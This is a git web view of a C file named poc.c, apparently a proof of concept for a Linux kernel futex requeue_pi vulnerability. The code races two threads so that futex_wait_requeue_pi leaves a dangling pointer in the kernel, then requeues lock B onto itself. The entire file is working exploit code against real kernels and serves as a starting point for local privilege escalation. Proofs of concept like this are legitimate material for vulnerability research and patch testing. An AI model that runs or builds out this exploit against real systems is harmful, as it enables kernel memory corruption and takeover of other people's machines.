aboutsummaryrefslogtreecommitdiffstats
path: root/poc.c
blob: 752f60e982a56867b8a33ef5f513d6013c9baca4 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <linux/futex.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>

#define USERLOCK_FREE 0
#define USERLOCK_OCCUPIED 1
#define FUTEX_WAIT_REQUEUE_PI 11
#define FUTEX_CMP_REQUEUE_PI 12

__always_inline pid_t gettid() {
    return syscall(SYS_gettid);
}

__always_inline void userlock_wait(volatile const int *userlock) {
    while (USERLOCK_OCCUPIED == *userlock) {
        usleep(10);
    }
}

__always_inline void userlock_lock(volatile int *userlock) {
    *userlock = USERLOCK_OCCUPIED; 
}

__always_inline void userlock_release(volatile int *userlock) {
    *userlock = USERLOCK_FREE;
}

int get_voluntary_ctxt_switches(pid_t tid) {
    FILE *fp;
    char proc_path[256];
    char buf[0x1000];
    char *ptr = buf;
    int count = -1;
    snprintf(proc_path, sizeof(proc_path), "/proc/self/task/%d/status", tid);
    fp = fopen(proc_path, "rb");
    if (fp != NULL) {
        fread(buf, sizeof(unsigned char), sizeof(buf), fp);
        ptr = strstr(buf, "voluntary_ctxt_switches:");
        ptr += strlen("voluntary_ctxt_switches:");
        count = atoi(ptr);
        fclose(fp);
    }
    return count;
}

void wait_for_thread_to_wait_in_kernel(pthread_t tid, int context_switch_count) {
    while (get_voluntary_ctxt_switches(tid) <= context_switch_count) {
        usleep(10);
    }
}

__always_inline int futex_lock_pi(int *uaddr) {
    return syscall(__NR_futex, uaddr, FUTEX_LOCK_PI, 0, NULL, NULL, 0);
}

__always_inline int futex_wait_requeue_pi(int *uaddr1, int *uaddr2) {
    return syscall(__NR_futex, uaddr1, FUTEX_WAIT_REQUEUE_PI, 0, NULL, uaddr2, 0);
}

__always_inline int futex_requeue_pi(int *uaddr1, int *uaddr2, int cmpval) {
    return syscall(__NR_futex, uaddr1, FUTEX_CMP_REQUEUE_PI, 1, NULL, uaddr2, cmpval);
}

int A = 0, B = 0;
volatile int invoke_futex_wait_requeue_pi = 0;
volatile pid_t thread_tid = -1;

//the dangling pointer thread
void *thread(void *arg) {
    thread_tid = gettid();
    printf("thread2: wait requeue pi\n");
    userlock_wait(&invoke_futex_wait_requeue_pi);
    futex_wait_requeue_pi(&A, &B);
    printf("thread2: someone woke me up\n");
    printf("thread2: dangling pointer at this point\n");
    while (1) {
        sleep(1);
    }
}

int main(int argc, char *argv[]) {
    pthread_t t;
    int context_switch_count = 0;
    printf("thread1: taking lock B\n");
    futex_lock_pi(&B);
    userlock_lock(&invoke_futex_wait_requeue_pi);
    pthread_create(&t, NULL, thread, NULL);
    /* Wait for the thread to be in a system call */
    while (thread_tid < 0) {
        usleep(10);
    }
    context_switch_count = get_voluntary_ctxt_switches(thread_tid);
    userlock_release(&invoke_futex_wait_requeue_pi);
    wait_for_thread_to_wait_in_kernel(thread_tid, context_switch_count);
    printf("thread1: requeue pi\n");
    futex_requeue_pi(&A, &B, A);
    printf("open lock B\n");
    B = 0;
    printf("thread1: requeue pi again\n");
    futex_requeue_pi(&B, &B, B);
    while (1) {
        sleep(1);
    }
    return 0;
}